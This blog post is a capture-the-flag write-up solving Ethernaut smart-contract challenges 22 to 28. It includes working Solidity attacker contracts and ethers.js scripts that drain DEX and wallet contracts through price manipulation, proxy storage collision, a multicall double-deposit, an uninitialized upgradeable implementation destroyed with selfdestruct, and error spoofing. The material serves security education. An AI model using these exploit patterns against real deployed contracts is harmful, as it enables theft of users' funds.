Ethernaut Challenges: Part III (22-28)

Ethernaut Challenges: Part III (22-28)

Hey! Welcome to the last blog post of the series. Let's dive into it straight away.

22 - Dex

Dex contract has 2 different ERC20 tokens and the balances of these tokens are 100 each. We have to withdraw all the balance of one of the tokens and make the Dex's balance 0.

If you check the code you'll see that the getSwapPrice() function calculates the swap amount according to the current token balances of the contract. When both of the token balances are 100, we can swap 1 to 1. What happens if the balance of one is 20 but the other is 100? Then we will swap 5 tokens for only 1. Scarcity matters.

We have 10 tokens each and the contract has 100 tokens each.

  1. At first, we will swap 10 token1 for 10 token2.

  2. After the swap we will have 0 token1 and 20 token2, the contract will have 110 token1 and 90 token2.

  3. We have 20 token2 and we'll swap them again. But this time, according to getSwapPrice() calculation (20 * 110 / 90), we'll get 24 token1.

  4. We will swap back and forth with all of our balances. Until one point: The last swap. There will be a time if we want to swap all of our balance, the contract won't have enough tokens to cover the swap and the transaction will revert.

  5. We have to calculate the amount to swap for the last swap, which will withdraw all of the contract's balance.

The first idea that came to my mind was to loop over the swap function again and again and calculate if the balance is enough before every loop, but I realized that it will require much, much more gas than just calculating it myself.

Only 5 whole balance swap and one last swap was enough to hack the Dex.

function attack() public {
  // approve the contract to use the funds 
  token1.approve(address(ethernautInstance), 5000);
  token2.approve(address(ethernautInstance), 5000);

  // Swap 5 times with whole balance back and forth
  ethernautInstance.swap(address(token1), address(token2), token1.balanceOf(address(this)));
  ethernautInstance.swap(address(token2), address(token1), token2.balanceOf(address(this)));
  ethernautInstance.swap(address(token1), address(token2), token1.balanceOf(address(this)));
  ethernautInstance.swap(address(token2), address(token1), token2.balanceOf(address(this)));
  ethernautInstance.swap(address(token1), address(token2), token1.balanceOf(address(this)));

  // Swap one last time with 45 tokens
  ethernautInstance.swap(address(token2), address(token1), 45);
}

23 - DexTwo

This challenge is similar to the previous one but this time we have to withdraw all the balances of not only one token but two of them.

If we want to swap back and forth again like the previous one, we never can withdraw all because we'll send some tokens for the last swap and leave tokens in the contract eventually. We have to find something else.

What is the difference between these two challenges? Drumrolls, please!
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

This line is the difference. The DexTwo contract doesn't check if the tokens to swap are the tokens we need to withdraw. We can swap any token!

  1. Deploy two different ERC20 token contracts with 2 tokens each.

  2. Send 1 token to the DexTwo contract and 1 token to the attacker contract.

  3. Swap your 1 token with the DexTwo contract's 100 token1.
    According to getSwapPrice() calculation, just 1 newToken will be swapped with 100 token1.

  4. Do the same for token2 too.

Deploy two ERC20 tokens first.

// Deploy new tokens first. Only mint 2 tokens each.
contract TokenXX is ERC20 {
    constructor() ERC20("TokenXX", "XX") {
        _mint(msg.sender, 2);
    }
}

contract TokenXY is ERC20 {
    constructor() ERC20("TokenXY", "XY") {
        _mint(msg.sender, 2);
    }
}

Deploy the attacker contract with the new tokens' addresses.

// Deploy attacker contract and use the newly deployed tokens addresses in the constructor.
contract DexTwoAttack {
    IDex public ethernautInstance;
    IERC20 public token1;
    IERC20 public token2;
    IERC20 public tokenXX;
    IERC20 public tokenXY;

    constructor(address instanceAddress, address _tokenXX, address _tokenXY) {
        ethernautInstance = IDex(instanceAddress);
        token1 = IERC20(ethernautInstance.token1());
        token2 = IERC20(ethernautInstance.token2());
        tokenXX = IERC20(_tokenXX);
        tokenXY = IERC20(_tokenXY);
    }

    // function attack(){}
}

The attack function is here:

// Before the attack, send 1 token XX and 1 token XY to the victim contract.
// Because of this, getSwapAmount function will return 100 token1 for only 1 tokenXX
function attack() public {
    // approve token usage for swap.
    tokenXX.approve(address(ethernautInstance), 1);
    tokenXY.approve(address(ethernautInstance), 1);

    // swap 1 tokenXX for token1 (1 token XX will be equal to 100 token1 according to calculation)
    ethernautInstance.swap(address(tokenXX), address(token1), 1);

    // swap 1 tokenXY for token2 (1 token XY will be equal to 100 token2 according to calculation)
    ethernautInstance.swap(address(tokenXY), address(token2), 1);
}

And here is the attack script:

 const dexTwoAttacker = await ethers.getContractAt("DexTwoAttack", ATTACKER_ADDRESS);
 const tokenXX = await ethers.getContractAt("ERC20", TOKENXX_ADDRESS);
 const tokenXY = await ethers.getContractAt("ERC20", TOKENXY_ADDRESS);

 // Transfer 1 token to the attacker and 1 token to the victim contract.
 const transferTx1 = await tokenXX.transfer(ATTACKER_ADDRESS, 1);
 const transferTx2 = await tokenXX.transfer(INSTANCE_ADDRESS, 1);
 const transferTx3 = await tokenXY.transfer(ATTACKER_ADDRESS, 1);
 const transferTx4 = await tokenXY.transfer(INSTANCE_ADDRESS, 1);

 // Attack
 const tx = await dexTwoAttacker.attack();
 console.log(await tx.wait());

24 - Puzzle Wallet

This was a hard one. I got stuck multiple times and required some help. First of all, let's understand the challenge. There are two contracts of which one is proxy and the other one is implementation(PuzzleWallet). The implementation contract is the given instance for this challenge and we have to change the admin of the proxy contract.

The first thing we need to understand is how storage slots work in proxy and implementation design. I recommend this article by OpenZeppelin and want you to give huge attention to storage collision, which is the core of this challenge.

As you can see above if the storage slots collide we can call a function in one contract and change the variable in the other one.

Let's get back to the challenge. While the first two storage slots in the proxy contract were address public pendingAdmin and address public admin, the first two slots in the PuzzleWallet were address public owner and uint256 public maxBalance. So if we update the pendingAdmin in the proxy, we will update the owner in the PuzzleWallet too. Similarly, we have to update the maxBalance variable to our own address to update the admin of the Proxy, which will solve this challenge. But setMaxBalance function requires the PuzzleWallet balance to be 0, so we have to drain this contract.

  1. Change the pendingAdmin variable in the proxy contract and this will update the owner of the PuzzleWallet.

  2. After becoming the owner, add yourself to the whitelist.

  3. Deposit some money into the contract.

  4. Steal all the funds

  5. Call the setMaxBalance function and change it to our address.


contract PuzzleWalletAttack {
    IPuzzleWallet public ethernautInstance;
    address public myAddress;

    // Deploy the contract and make this contract the owner of the PuzzleWallet instance.
    constructor(address instanceAddress) payable {
        myAddress = msg.sender;
        ethernautInstance = IPuzzleWallet(instanceAddress);
        ethernautInstance.proposeNewAdmin(address(this));
    }
}

This was the first step and now our attacker contract is the owner of the ethernaut instance. We can add ourselves to the whitelist now.

function attack() public {
    // Add yourself to the whitelist.
    ethernautInstance.addToWhitelist(address(this));

To drain the balance of the PuzzleWallet we need to call the execute() function but you might've noticed that this function requires msg.sender balance to be bigger than the value(which is the balance of this contract).

How does a depositor's balance become bigger than the contract's balance? They have to update the balance twice without actually depositing twice. Here comes the multicall() function in the contract. That function iterates every element of a bytes[] array and delegatecall itself with that element. Can we call deposit function two times with sending ether only one time?

Apparently, we can. We have to create a bytes[] array. The first element of this array will be the byte that calls deposit(), and the second element will be the byte that calls multicall() again. Here:

// Find the data to call the multicall and call it.
// This will call deposit first and call the multicall again.

// Find the data to call the deposit function.
bytes[] memory dataToDeposit = new bytes[](1);
dataToDeposit[0] = abi.encodeWithSignature("deposit()");

// Create the data to call the multicall function.
bytes[] memory dataToMulticall = new bytes[](2);
// First element is data to call the deposit.
// Second element is for calling multicall again with dataToDeposit argument.
dataToMulticall[0] = dataToDeposit[0];
dataToMulticall[1] = abi.encodeWithSignature("multicall(bytes[])", dataToDeposit);

// Call the instance with some value.
ethernautInstance.multicall{value: 0.01 ether}(dataToMulticall);

After this, we will need to call the execute() to drain the contract and then set the maxBalance. That's all.

// Call the execute function and send balance to myAddress
ethernautInstance.execute(myAddress, address(ethernautInstance).balance, "");

// set max balance with myAdress's uint256 equivalent
uint256 x = uint256(uint160(myAddress));
ethernautInstance.setMaxBalance(x);

25 - MotorBike

This challenge is also about proxies & implementations, and we aim to kill the implementation contract. How do we do that?

  1. Upgrade the implementation (which will be our attacker contract)

  2. Our attacker contract should have a selfdestruct function.

  3. Call the selfdestruct in the new implementation and pass this challenge.

As you can see above, if we call this function with the address of the attacker contract and the bytes to call selfdestruct, we'll complete the challenge. But to be able to call it we have to be authorized (we have to be the upgrader).

Alright, let's check who is the upgrader and how can we become.
Did you check it? It's nobody! The contract is not initialized yet. We just need to initialize it inside of our attacker contract:

interface IBike {
    function initialize() external;
    function upgradeToAndCall(address, bytes memory) external payable;
    fallback () external payable;
}

contract MotorbikeAttack {
    IBike public ethernautInstance;
    address owner;

    // Use the Engine Contract address (not the Motorbike Contract) as instanceAddress
    constructor(address payable instanceAddress) payable {
        ethernautInstance = IBike(instanceAddress);
        owner = msg.sender;
    }

    function attack() public {
        // Initialize it first
        ethernautInstance.initialize();

        // Find the data to call this contract's destroy function
        bytes memory dataToDestroy = abi.encodeWithSelector(this.destroy.selector, "");

        // Call the upgradeToAndCall with this contract's address and the bytes to call destroy function
        ethernautInstance.upgradeToAndCall(address(this), dataToDestroy);
    }

    function destroy() public payable {
        selfdestruct(payable(owner));
    }
}

When we call the attack function, it will upgrade the implementation contract to our attacker, and call the destroy() function right away.

!!! You need to use Engine Contract's address to deploy this attacker, not the Motorbike Contract's address. You can find the Engine Contract's address with etherscan or with the getStorageAt method.

26 - DoubleEntryPoint

This one looks a little bit complicated. Let's understand it first.
We have to create a bot that alerts us when sweepToken function inside the CryptoVault contract is called. What happens in this challenge?

  1. sweepToken function is called with some token input

  2. It calls the transfer method for that token with token.transfer(to, amount)

  3. The transfer method delegates the transfer to the delegate contract, which is ethernaut instance (DoubleEntryPoint Contract)

  4. The delegateTransfer method has a modifier called fortaNotify.

  5. What does fortaNotify do? It calls the notify method in the Forta contract with two arguments (player's address and msg.data). forta.notify(player, msg.data)

  6. What happens in the notify method? It has a try/catch.
    It tries to call the handleTransaction method in the player's bot with the msg.data.

Okay, that's amazing so far but what will we do?
We need to deploy a contract (bot) with a handleTransaction method, which calls raiseAlert function in the Forta contract if msg.data has something we look at.

What are we looking at in the msg.data?
What is this msg.data? It is the data that calls the delegateTransfer function.

We are looking to find the address origSender inside this msg.data and check if it is the same address with the CryptoVault address. If the origSender is the cryptoVault, our bot should raise an alert.
How do we get the origSender? Maybe you want to check this article.

Let's examine the calldata.
The calldata of this function will be 100 bytes. The first 4 is the function selector. The next 32 bytes will be the address to, the second next 32 bytes will be the value and the last 32 bytes will be the address origSender. Addresses are 20 bytes long so the first 12 bytes will be zero (padded to 32). So basically, we are trying to extract the last 20 bytes of the msg.data. We can get it with msgData[80:]

Here is my bot contract:

contract DoubleEntryPointBot is IDetectionBot{
    IDoubleEntryPoint public ethernautInstance;
    IDetectionBot public bot;
    IForta public forta;
    ICryptoVault public vault;

    constructor(address instanceAddress) {
        ethernautInstance = IDoubleEntryPoint(instanceAddress);
        bot = IDetectionBot(address(this));
        vault = ICryptoVault(address(ethernautInstance.cryptoVault()));
        forta = IForta(address(ethernautInstance.forta()));
    }

    function handleTransaction(address user, bytes calldata msgData) external override {
        // Get the last 20 bytes of the calldata to get the original sender (calldata will be 100 bytes long)
        address orgSender = address(bytes20(msgData[80:]));
        // If it is the vault address raise alert.
        if (orgSender == address(vault)){
            forta.raiseAlert(user);
        }
    }
}

There was only one thing left which is setting the detection bot by calling setDetectionBot function directly from your EOA and passing the newly deployed bot contract address.

    // Get the forta variable of the instance.   
    const instance = await ethers.getContractAt("DoubleEntryPoint", INSTANCE_ADDRESS);
    const fortaAddress = await instance.forta();
    const forta = await ethers.getContractAt("Forta", fortaAddress);

    // Call the setDetectionBot function with your deployed bot's address.
    const tx = await forta.setDetectionBot(BOT_ADDRESS);
    const resp = await tx.wait();

27 - Good Samaritan

In this challenge, we have a GoodSamaritan contract, a Coin contract and a Wallet contract. The GoodSamaritan initially has 1000000 coins and gives 10 coins to someone anytime they request, and we have to drain the contract.

Of course we won't call the function 100000 times. We have to trigger the wallet.transferRemainder function, which is called if the NotEnoughBalance() error is caught. So we have to trigger this error.

What are the steps?

  1. requestDonation() is called in the GoodSamaritan.

  2. It calls the wallet.donate10 method.

  3. This one calls coin.transfer method.

  4. If the transferred destination is a contract, transfer method will call notify() function in the contract.

  5. That's the part we will be malicious. We have to write a notify function that acts like a blackHat.

contract GoodSamaritanAttack is INotifyable {
    IGoodSamaritan public ethernautInstance;
    error NotEnoughBalance();

    constructor (address instanceAddress) {
        ethernautInstance = IGoodSamaritan(instanceAddress);
    }

    function attack() public {
        ethernautInstance.requestDonation();
    }

    function notify(uint256 amount) public override {
        if(amount == 10) {
            revert NotEnoughBalance();
        }
    }
}

As you can see above, the error will be triggered in the notify function if the amount is 10, and this will lead GoodSamaritan to call the wallet.transferRemainder. Then it will be notified again with 999990, which will not revert, and you'll see something like this on the etherscan. Some of the calls were reverted but the others were not.

28 - Gatekeeper Three

Aaaaand here we are! The last challenge.

We have to pass three gates again and we already know the first one, which is just a msg.sender != tx.origin gate. Did you notice that there is a typo in the Gatekeeper contract? constructor() vs construct0r(). The owner was not initialized during the deployment because of this typo.

The gateTwo requires allow_enterance == true and the way to make it is to call the getAllowance function with the right password, which then passes the input to the SimpleTrick contract and calls the checkPassword method.

At first, I tried to solve the trickyTrick() but then I realized that this was just bait, just a diversion. We don't need to spend time trying to call the getAllowance method inside the trickyTrick(), we can directly call it with the password. We will find the password with getStorageAt.

And the gateThree is: address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false
What is that mean? We will deposit some ether to this contract but it should revert if the contract tries to send us money back. How? We won't add receive() or fallback() function to our attacker contract, that's all.

contract GatekeeperThreeAttack {
    IGatekeeperThree public ethernautInstance;

    constructor(address instanceAddress) payable {
        ethernautInstance = IGatekeeperThree(instanceAddress);
        // Initialize the SimpleTrick contract.
        ethernautInstance.createTrick();
    }

    // Find the password using ethers library getStorageAt in your attacker script and pass it when calling this function.
    function attack(uint password) public {
        // Become the owner of the instance.
        ethernautInstance.construct0r();

        // Call the getAllowance function with the password value stored in the SimpleTrick
        ethernautInstance.getAllowance(password);

        // Send 0.002 ether to the instance
        (bool s, ) = address(ethernautInstance).call{value: 0.002 ether}("");
        require(s);

        // After passing all the gates, call the enter function.
        ethernautInstance.enter();
    }
}

The one above is the attacker contract and the one below is the attacker script.

And voila! We passed all the gates.


Oh my God! We have completed all of the challenges and this was the last blog post of this series. Thank you for coming this far and hope to see you in the future series.

You can find all the contracts and scripts in my github repository.